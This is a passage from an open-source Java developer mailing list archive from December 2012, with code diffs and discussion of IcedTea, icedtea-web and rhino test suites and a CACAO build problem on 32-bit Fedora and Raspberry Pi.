zero stroke width. + * Line path is constructed using new Path.Double() + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testLinePathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawLinePathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testQuadraticPathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawQuadraticPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testQuadraticPathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawQuadraticPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCubicPathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawCubicPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Path is rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCubicPathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawCubicPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if closed path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testClosedPathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawClosedPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if closed path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testClosedPathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawClosedPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if crossed closed path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedClosedPathFloatZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawCrossedPathFloat(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** + * Check if crossed closed path could be clipped by an ellipse shape. Path is + * rendered using stroke paint with zero stroke width. + * + * @param image + * work image + * @param graphics2d + * graphics canvas + * @return test result status - PASSED, FAILED or ERROR + */ + public TestResult testCrossedClosedPathDoubleZeroStrokePaint(TestImage image, Graphics2D graphics2d) + { + // set stroke color + CommonRenderingStyles.setStrokeColor(graphics2d); + // set stroke width + CommonRenderingStyles.setStrokeZeroThick(graphics2d); + // draw the path + drawCrossedPathDouble(image, graphics2d); + // test result + return TestResult.PASSED; + } + + /** * Entry point to the test suite. * * @param args From stefan at complang.tuwien.ac.at Tue Dec 18 01:26:15 2012 From: stefan at complang.tuwien.ac.at (Stefan Ring) Date: Tue, 18 Dec 2012 10:26:15 +0100 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> Message-ID: > So I spun up a VM running the 64 bit version of Fedora, and ran the same > build instructions. This time it appears to have completed successfully. > My eventual goal is to build CACAO on the Raspberry Pi. The Fedora Remix for > the Raspberry Pi is 32-bit. So the build scripts would need to be configured > to work correctly. > I don't understand what files would need to be modified to accommodate a > successful 32-bit build. Suggestions? Does a bug report need to be filed? I ran a build of icedtea7 on my SheevaPlug (512MB RAM, Fedora 17 as well) a while ago without a problem, IIRC. I'll try to do it again with current versions and report the results. This will take a while, though. Regarding the Raspberry, do you run a armhf distro on it? If yes, you'll have to wait a little while longer, because I'm only just in the progress of working armhf work. Cheers From ptisnovs at icedtea.classpath.org Tue Dec 18 01:45:55 2012 From: ptisnovs at icedtea.classpath.org (ptisnovs at icedtea.classpath.org) Date: Tue, 18 Dec 2012 09:45:55 +0000 Subject: /hg/rhino-tests: Added three new tests into the test case src/or... Message-ID: changeset 499bf38b565f in /hg/rhino-tests details: http://icedtea.classpath.org/hg/rhino-tests?cmd=changeset;node=499bf38b565f author: Pavel Tisnovsky date: Tue Dec 18 10:49:01 2012 +0100 Added three new tests into the test case src/org/RhinoTests/ScriptEngineFactoryClassTest.java. diffstat: ChangeLog | 5 + src/org/RhinoTests/ScriptEngineFactoryClassTest.java | 75 ++++++++++++++++++++ 2 files changed, 80 insertions(+), 0 deletions(-) diffs (111 lines): diff -r 6ca3cde5c86f -r 499bf38b565f ChangeLog --- a/ChangeLog Mon Dec 17 10:54:42 2012 +0100 +++ b/ChangeLog Tue Dec 18 10:49:01 2012 +0100 @@ -1,3 +1,8 @@ +2012-12-18 Pavel Tisnovsky + + * src/org/RhinoTests/ScriptEngineFactoryClassTest.java: + Added three new tests into this test case. + 2012-12-17 Pavel Tisnovsky * src/org/RhinoTests/ScriptContextClassTest.java: diff -r 6ca3cde5c86f -r 499bf38b565f src/org/RhinoTests/ScriptEngineFactoryClassTest.java --- a/src/org/RhinoTests/ScriptEngineFactoryClassTest.java Mon Dec 17 10:54:42 2012 +0100 +++ b/src/org/RhinoTests/ScriptEngineFactoryClassTest.java Tue Dec 18 10:49:01 2012 +0100 @@ -46,6 +46,7 @@ import java.util.Map; import java.util.HashMap; +import java.lang.annotation.Annotation; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.Method; @@ -355,6 +356,28 @@ } /** + * Test for method javax.script.ScriptEngineFactory.getClass().getField() + */ + protected void testGetField() { + // following fields should exists + final String[] fieldsThatShouldExists = { + }; + // check if all required fields really exists + for (String fieldThatShouldExists : fieldsThatShouldExists) { + try { + Field field = this.scriptEngineFactoryClass.getField(fieldThatShouldExists); + String fieldName = field.getName(); + assertTrue(fieldName.equals(fieldThatShouldExists), + "field " + fieldThatShouldExists + " not found"); + } + catch (Exception e) { + e.printStackTrace(); + throw new AssertionError(e.getMessage()); + } + } + } + + /** * Test for method javax.script.ScriptEngineFactory.getClass().getMethods() */ protected void testGetMethods() { @@ -455,6 +478,58 @@ } /** + * Test for method javax.script.ScriptEngineFactory.getClass().getAnnotations() + */ + protected void testGetAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineFactoryClass.getAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** + * Test for method javax.script.ScriptEngineFactory.getClass().getDeclaredAnnotations() + */ + protected void testGetDeclaredAnnotations() { + // following annotations should be provided + final String[] annotationsThatShouldExists_jdk6 = { + }; + + final String[] annotationsThatShouldExists_jdk7 = { + }; + + // get all annotations + Annotation[] annotations = this.scriptEngineFactoryClass.getDeclaredAnnotations(); + // and transform the array into a list of annotation names + List annotationsAsString = new ArrayList(); + for (Annotation annotation : annotations) { + annotationsAsString.add(annotation.toString()); + } + String[] annotationsThatShouldExists = getJavaVersion() < 7 ? annotationsThatShouldExists_jdk6 : annotationsThatShouldExists_jdk7; + // check if all required annotations really exists + for (String annotationThatShouldExists : annotationsThatShouldExists) { + assertTrue(annotationsAsString.contains(annotationThatShouldExists), + "annotation " + annotationThatShouldExists + " not found"); + } + } + + /** * Test for instanceof operator applied to a class javax.script.ScriptEngineFactory */ @SuppressWarnings("cast") From jvanek at redhat.com Tue Dec 18 03:01:36 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Tue, 18 Dec 2012 12:01:36 +0100 Subject: [rfc][icedtea-web] Reproducer of BeansStatement behaviour In-Reply-To: <50CF4FCD.30103@redhat.com> References: <50CA03C5.7080500@redhat.com> <50CB9307.5030801@redhat.com> <50CF4FCD.30103@redhat.com> Message-ID: <50D04D10.70402@redhat.com> On 12/17/2012 06:01 PM, Omair Majid wrote: > On 12/14/2012 03:58 PM, Adam Domurad wrote: >> On 12/13/2012 11:35 AM, Jiri Vanek wrote: >> Looks OK, although this seems like something that is better placed in a >> JRE's test suite, not ITWs. > > Agreed. While it is nice to have another test to check a security > property, I am not sure how sensible it is to add this test to > icedtea-web. The test is, after all, testing that the JRE enforces a > security check when a certain operation is performed. We do have a > number of tests that check that the code in icedtea-web is running in a > sandbox, but nothing that is as specific as this. > > I would like to know what's the motivation for adding this specific test > to icedtea-web. > Motivation is simple, this was once safe and working. Due to several changes in jdk this become penetrable. ITW is the way via which it can be misused. I think that having such a reproducer run periodically can speed up discovery and so fix in case that some changes will lead to penetrability again. Anyway - most of security issues reappear because of reproducers disappears. I really have intention to forward most of such a reproducers into reproducers repo and to run them as often as possible - of course several month after the fix is published. J. From jfabriko at icedtea.classpath.org Tue Dec 18 04:56:20 2012 From: jfabriko at icedtea.classpath.org (jfabriko at icedtea.classpath.org) Date: Tue, 18 Dec 2012 12:56:20 +0000 Subject: /hg/icedtea-web: additions to test-extensions needed for the new... Message-ID: changeset e04380d3306f in /hg/icedtea-web details: http://icedtea.classpath.org/hg/icedtea-web?cmd=changeset;node=e04380d3306f author: Jana Fabrikova date: Tue Dec 18 13:58:24 2012 +0100 additions to test-extensions needed for the new AWTFramework diffstat: ChangeLog | 18 ++++ tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java | 2 +- tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java | 38 +++++++++- tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java | 22 +++++- 4 files changed, 75 insertions(+), 5 deletions(-) diffs (173 lines): diff -r 1fe2a4f7981f -r e04380d3306f ChangeLog --- a/ChangeLog Tue Dec 11 20:32:26 2012 +0100 +++ b/ChangeLog Tue Dec 18 13:58:24 2012 +0100 @@ -1,3 +1,21 @@ +2012-12-18 Jana Fabrikova + + * /tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java: + Added several new versions of method (executeBrowser) with lists + of ContentReaderListeners as arguments. + * /tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java: + Added new versions of the (constructor of ProcessWrapper) and methods + (addStdOutListeners) and (addStdErrListeners) for adding + ContentReaderListeners using List + instead of one ContentReaderListener as argument. + Added a new version of (constructor of ProcessWrapper) with + less arguments that is used instead of calling the constructor + with several arguments passed as null, thus causing ambiguity. + * /tests/reproducers/simple/SingeInstanceServiceTest/testcases/SingleInstanceTest.java: + Modified the call of (executeBrowser) method with null arguments + into a call of new method without the null arguments + -getting rid of an ambiguous call. + 2012-12-11 Jiri Vanek Added jacoco code coverage support diff -r 1fe2a4f7981f -r e04380d3306f tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java --- a/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java Tue Dec 11 20:32:26 2012 +0100 +++ b/tests/reproducers/simple/SingleInstanceServiceTest/testcases/SingleInstanceTest.java Tue Dec 18 13:58:24 2012 +0100 @@ -109,7 +109,7 @@ try { boolean isJavawsTest = isJnlp(launchFile); pr = isJavawsTest ? server.executeJavawsHeadless(launchFile, null, null) - : server.executeBrowser(launchFile, null, null); + : server.executeBrowser(launchFile); } catch (Exception ex) { ServerAccess.logException(ex); } finally { diff -r 1fe2a4f7981f -r e04380d3306f tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java --- a/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java Tue Dec 11 20:32:26 2012 +0100 +++ b/tests/test-extensions/net/sourceforge/jnlp/ProcessWrapper.java Tue Dec 18 13:58:24 2012 +0100 @@ -64,7 +64,7 @@ public ProcessWrapper() { } - public ProcessWrapper(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) throws Exception { + public ProcessWrapper(String toBeExecuted, List otherargs, URL u){ Assert.assertNotNull(u); Assert.assertNotNull(toBeExecuted); Assert.assertTrue(toBeExecuted.trim().length() > 1); @@ -75,12 +75,24 @@ urledArgs.add(0, toBeExecuted); urledArgs.add(u.toString()); this.args = urledArgs; + this.vars=null; + } + + public ProcessWrapper(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) throws Exception { + this(toBeExecuted, otherargs, u); this.addStdOutListener(stdoutl); this.addStdErrListener(stderrl); this.vars=vars; } + public ProcessWrapper(String toBeExecuted, List otherargs, URL u, List stdoutl, List stderrl, String[] vars) throws Exception { + this(toBeExecuted, otherargs, u); + this.addStdOutListeners(stdoutl); + this.addStdErrListeners(stderrl); + this.vars=vars; + } + ProcessWrapper(final List args, File dir, ContentReaderListener stdoutl, ContentReaderListener stderrl, String[] vars) { this.args = args; this.dir = dir; @@ -89,6 +101,14 @@ this.vars = vars; } + public ProcessWrapper(final List args, File dir, List stdoutl, List stderrl, String[] vars) { + this.args = args; + this.dir = dir; + this.addStdOutListeners(stdoutl); + this.addStdErrListeners(stderrl); + this.vars = vars; + } + public final void addStdOutListener(ContentReaderListener l) { if (l == null) { return; @@ -105,6 +125,22 @@ } + public final void addStdOutListeners(List l) { + if (l == null) { + return; + } + stdoutl.addAll(l); + + } + + public final void addStdErrListeners(List l) { + if (l == null) { + return; + } + stderrl.addAll(l); + + } + /** * @return the args */ diff -r 1fe2a4f7981f -r e04380d3306f tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java --- a/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java Tue Dec 11 20:32:26 2012 +0100 +++ b/tests/test-extensions/net/sourceforge/jnlp/ServerAccess.java Tue Dec 18 13:58:24 2012 +0100 @@ -573,6 +573,10 @@ return executeBrowser(getBrowserParams(), resource, stdoutl, stderrl); } + public ProcessResult executeBrowser(String resource, List stdoutl, List stderrl) throws Exception { + return executeBrowser(getBrowserParams(), resource, stdoutl, stderrl); + } + /** * wrapping method to executeProcess (eg: javaws arg arg http://localhost:port/resource) * will execute default javaws (@see JAVAWS_BUILD_BIN) upon default url upon cached server (@see SERVER_NAME @see getPort(), @see getInstance())) @@ -592,7 +596,7 @@ } public ProcessResult executeBrowser(List otherargs, String resource) throws Exception { - ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource), null, null, null); + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource)); rpw.setReactingProcess(getCurrentBrowser());//current browser may be null, but it does not metter return rpw.execute(); } @@ -603,8 +607,14 @@ return rpw.execute(); } + public ProcessResult executeBrowser(List otherargs, String resource, List stdoutl, List stderrl) throws Exception { + ProcessWrapper rpw = new ProcessWrapper(getBrowserLocation(), otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); + rpw.setReactingProcess(getCurrentBrowser());// current browser may be null, but it does not matter + return rpw.execute(); + } + public ProcessResult executeBrowser(Browser b, List otherargs, String resource) throws Exception { - ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource), null, null, null); + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource)); rpw.setReactingProcess(b); return rpw.execute(); } @@ -615,6 +625,12 @@ return rpw.execute(); } + public ProcessResult executeBrowser(Browser b, List otherargs, String resource, List stdoutl, List stderrl) throws Exception { + ProcessWrapper rpw = new ProcessWrapper(b.getBin(), otherargs, getUrlUponThisInstance(resource), stdoutl, stderrl, null); + rpw.setReactingProcess(b); + return rpw.execute(); + } + /** * Create resource on http, on 'localhost' on port on which this cached instance is running * @param resource @@ -661,7 +677,7 @@ * @throws Exception */ public static ProcessResult executeProcessUponURL(String toBeExecuted, List otherargs, URL u) throws Exception { - return new ProcessWrapper(toBeExecuted, otherargs, u, null, null, null).execute(); + return new ProcessWrapper(toBeExecuted, otherargs, u).execute(); } public static ProcessResult executeProcessUponURL(String toBeExecuted, List otherargs, URL u, ContentReaderListener stdoutl, ContentReaderListener stderrl) throws Exception { From gregjo at yahoo.com Tue Dec 18 05:03:15 2012 From: gregjo at yahoo.com (Greg Johnson) Date: Tue, 18 Dec 2012 05:03:15 -0800 (PST) Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> Message-ID: <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> >I ran a build of icedtea7 on my SheevaPlug (512MB RAM, Fedora 17 as>well) a while ago without a problem, IIRC. I'll try to do it again >with current versions and report the results. This will take a while,?though. Was this a build with CACAO? That seems to be the problem....32bit builds with CACAO. I understand that your SheevaPlug will take a long time. I initially attempted the build with a Raspberry Pi, and it took two weeks before I reached the failure point. That's why I've decided that I won't attempt it again until I can successfully build CACAO on a 32bit x86 platform, since it's much faster. Until that can be accomplished, I don't see the point in compiling for ARM. Just to restate, I can successfully build icedtea7 on 32bit x86 (Fedora 17), but cannot if I include CACAO. >Regarding the Raspberry, do you run a armhf distro on it? If yes, >you'll have to wait a little while longer, because I'm only just in >the progress of working armhf work. I'm not currently used the armhf distro, but I believe it is just starting to peek its head around the corner at Seneca College. -------------- next part -------------- An HTML attachment was scrubbed... URL: http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/9848f610/attachment.html From aph at redhat.com Tue Dec 18 06:09:20 2012 From: aph at redhat.com (Andrew Haley) Date: Tue, 18 Dec 2012 14:09:20 +0000 Subject: Unable to compile IcedTea with CACAO under Fedora 17 In-Reply-To: <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> References: <1355435846.56238.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355510008.90641.YahooMailNeo@web125005.mail.ne1.yahoo.com> <1355636087.52627.YahooMailNeo@web125004.mail.ne1.yahoo.com> <1355793017.2770.YahooMailNeo@web125002.mail.ne1.yahoo.com> <1355835795.38768.YahooMailNeo@web125005.mail.ne1.yahoo.com> Message-ID: <50D07910.7050500@redhat.com> On 12/18/2012 01:03 PM, Greg Johnson wrote: >> I ran a build of icedtea7 on my SheevaPlug (512MB RAM, Fedora 17 >> as well) a while ago without a problem, IIRC. I'll try to do it >> again with current versions and report the results. This will take >> a while, though. > > Was this a build with CACAO? That seems to be the problem....32bit builds with CACAO. > > I understand that your SheevaPlug will take a long time. I initially > attempted the build with a Raspberry Pi, and it took two weeks > before I reached the failure point. That's why I've decided that I > won't attempt it again until I can successfully build CACAO on a > 32bit x86 platform, since it's much faster. Until that can be > accomplished, I don't see the point in compiling for ARM. Is there some special reason you need CACAO? Andrew. From jvanek at redhat.com Tue Dec 18 06:34:40 2012 From: jvanek at redhat.com (Jiri Vanek) Date: Tue, 18 Dec 2012 15:34:40 +0100 Subject: [rfc] icedtea-web minor fix for two unittests In-Reply-To: <50CF4F61.3090004@redhat.com> References: <50CF36E6.3060606@redhat.com> <50CF4F61.3090004@redhat.com> Message-ID: <50D07F00.50503@redhat.com> On 12/17/2012 05:59 PM, Adam Domurad wrote: > On 12/17/2012 10:14 AM, Jiri Vanek wrote: >> This tests were wrongly adapted for lates ITW. And so they were incorrectly failing. This should fix them. >> >> J. > > Thanks for looking into it! > >> >> diff -r 1fe2a4f7981f tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java >> --- a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Tue Dec 11 20:32:26 2012 +0100 >> +++ b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java Mon Dec 17 16:09:22 2012 +0100 >> @@ -68,6 +68,24 @@ >> throw new RuntimeException(ex); >> } >> } >> + >> + private class DummyJNLPFile extends JNLPFile{ >> + >> + @Override >> + public ResourcesDesc getResources() { >> + return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); >> + } >> + >> + @Override >> + public URL getCodeBase() { >> + return CODEBASE_URL; >> + } >> + >> + @Override >> + public SecurityDesc getSecurity() { >> + return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); >> + } >> + }; > > +1 > >> private static final String isWSA = "isWebstartApplication"; >> >> static void setStaticField(Field field, Object newValue) throws Exception { >> @@ -97,47 +115,73 @@ >> public void testResourceLoadSuccessCachingApplication() throws Exception { >> setWSA(); >> //we are testing new resource not in cache >> - testResourceLoadSuccessCaching("Main.class"); >> + testResourceLoadSuccessCaching2("Main.class"); > > Just a nitpick, > > testResourceLoadSuccessCachingApplication calls testResourceLoadSuccessCaching2 > but testResourceLoadSuccessCachingApplication2 calls testResourceLoadSuccessCaching1, the mismatch is a little confusing > > >> } >> >> @Test >> public void testResourceLoadSuccessCachingApplet() throws Exception { >> setApplet(); >> //so new resource again not in cache >> - testResourceLoadSuccessCaching("HTMLPanel.java"); >> + testResourceLoadSuccessCaching2("Main.class"); >> + } >> + >> + @Test >> + public void testResourceLoadSuccessCachingApplication2() throws Exception { >> + setWSA(); >> + //we are testing new resource not in cache >> + testResourceLoadSuccessCaching1("HTMLPanel.java"); >> } >> >> - public void testResourceLoadSuccessCaching(String r) throws Exception { >> - JNLPFile dummyJnlpFile = new JNLPFile() { >> + @Test >> + public void testResourceLoadSuccessCachingApplet2() throws Exception { >> + setApplet(); >> + //so new resource again not in cache >> + testResourceLoadSuccessCaching1("HTMLPanel.java"); >> + } >> >> - @Override >> - public ResourcesDesc getResources() { >> - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); >> - } >> + public void testResourceLoadSuccessCaching1(String r) throws Exception { >> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >> >> - @Override >> - public URL getCodeBase() { >> - return CODEBASE_URL; >> - } >> - >> - @Override >> - public SecurityDesc getSecurity() { >> - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); >> - } >> - }; >> JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); >> CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >> >> long startTime, stopTime; >> >> startTime = System.nanoTime(); >> - classLoader.findResource("net/sourceforge/jnlp/about/"+r); >> + URL u1 = classLoader.findResource("net/sourceforge/jnlp/about/"+r); >> + Assert.assertNull(u1); >> stopTime = System.nanoTime(); >> long timeOnFirstTry = stopTime - startTime; >> ServerAccess.logErrorReprint("" + timeOnFirstTry); >> >> startTime = System.nanoTime(); >> - classLoader.findResource("net/sourceforge/jnlp/about/"+r); >> + URL u2 = classLoader.findResource("net/sourceforge/jnlp/about/"+r); >> + Assert.assertNull(u2); >> + stopTime = System.nanoTime(); >> + long timeOnSecondTry = stopTime - startTime; >> + ServerAccess.logErrorReprint("" + timeOnSecondTry); >> + >> + assertTrue(timeOnSecondTry< (timeOnFirstTry / 10)); >> + } >> + >> + public void testResourceLoadSuccessCaching2(String r) throws Exception { > > I dislike numerically distinguished names strongly :-) > I had to do a diff to be sure of the difference here. It seems there should just be one function (equivalent to testResourceLoadSuccessCaching2), and the "net/sourceforge/jnlp/about/" be added to the parameter upon usage. > >> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >> + >> + JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); >> + CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >> + >> + long startTime, stopTime; >> + >> + startTime = System.nanoTime(); >> + URL u1 = classLoader.findResource(r); >> + Assert.assertNull(u1); >> + stopTime = System.nanoTime(); >> + long timeOnFirstTry = stopTime - startTime; >> + ServerAccess.logErrorReprint("" + timeOnFirstTry); >> + >> + startTime = System.nanoTime(); >> + URL u2 = classLoader.findResource(r); >> + Assert.assertNull(u2); >> stopTime = System.nanoTime(); >> long timeOnSecondTry = stopTime - startTime; >> ServerAccess.logErrorReprint("" + timeOnSecondTry); >> @@ -161,23 +205,7 @@ >> } >> >> public void testResourceLoadFailureCaching() throws Exception { >> - JNLPFile dummyJnlpFile = new JNLPFile() { >> - >> - @Override >> - public ResourcesDesc getResources() { >> - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); >> - } >> - >> - @Override >> - public URL getCodeBase() { >> - return CODEBASE_URL; >> - } >> - >> - @Override >> - public SecurityDesc getSecurity() { >> - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); >> - } >> - }; >> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >> >> JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null); >> CodeBaseClassLoader classLoader = new CodeBaseClassLoader(new URL[] { JAR_URL, CODEBASE_URL }, parent); >> @@ -212,24 +240,8 @@ >> } >> >> public void testParentClassLoaderIsAskedForClasses() throws Exception { >> - JNLPFile dummyJnlpFile = new JNLPFile() { >> - >> - @Override >> - public ResourcesDesc getResources() { >> - return new ResourcesDesc(null, new Locale[0], new String[0], new String[0]); >> - } >> - >> - @Override >> - public URL getCodeBase() { >> - return CODEBASE_URL; >> - } >> - >> - @Override >> - public SecurityDesc getSecurity() { >> - return new SecurityDesc(this, SecurityDesc.SANDBOX_PERMISSIONS, null); >> - } >> - }; >> - >> + JNLPFile dummyJnlpFile = new DummyJNLPFile(); >> + >> final boolean[] parentWasInvoked = new boolean[1]; >> >> JNLPClassLoader parent = new JNLPClassLoader(dummyJnlpFile, null) { > > Please also rid of the duplicated dummy in testNullFileSecurityDesc. Atatched even more fixed and cleaned version > > -Adam -------------- next part -------------- A non-text attachment was scrubbed... Name: fixedUnittest2.patch Type: text/x-patch Size: 10714 bytes Desc: not available Url : http://mail.openjdk.java.net/pipermail/distro-pkg-dev/attachments/20121218/a21a6344/fixedUnittest2.patch From adomurad at redhat.com Tue Dec 18 06:45:35 2012 From: adomurad at redhat.com (Adam Domurad) Date: Tue, 18 Dec 2012 09:45:35 -0500 Subject: [rfc] icedtea-web minor fix for two unittests In-Reply-To: <50D07F00.50503@redhat.com> References: <50CF36E6.3060606@redhat.com> <50CF4F61.3090004@redhat.com> <50D07F00.50503@redhat.com> Message-ID: <50D0818F.3020602@redhat.com> On 12/18/2012 09:34 AM, Jiri Vanek wrote: > On 12/17/2012 05:59 PM, Adam Domurad wrote: >> On 12/17/2012 10:14 AM, Jiri Vanek wrote: >>> This tests were wrongly adapted for lates ITW. And so they were >>> incorrectly failing. This should fix them. >>> >>> J. >> >> Thanks for looking into it! >> >>> >>> diff -r 1fe2a4f7981f >>> tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java >>> --- >>> a/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java >>> Tue Dec 11 20:32:26 2012 +0100 >>> +++ >>> b/tests/netx/unit/net/sourceforge/jnlp/runtime/CodeBaseClassLoaderTest.java >>> Mon Dec 17 16:09:22 2012 +0100 >>> @@ -68,6 +68,24 @@ >>> throw new RuntimeException(ex); >>> } >>> } >>> + >>> + private class DummyJNLPFile extends JNLPFile{ >>> + >>> + @Override >>> + public ResourcesDesc getResources() { >>> + return new ResourcesDesc(null, new Locale[0], new >>> String[0], new String[0]); >>> + } >>> + >>> + @Override >>> + public URL getCodeBase() { >>> + return CODEBASE_URL; >>> + } >>> + >>> + @Override >>> + public SecurityDesc getSecurity() { >>> + return new SecurityDesc(this, >>> SecurityDesc.SANDBOX_PERMISSIONS, null); >>> + } >>> + }; >> >> +1 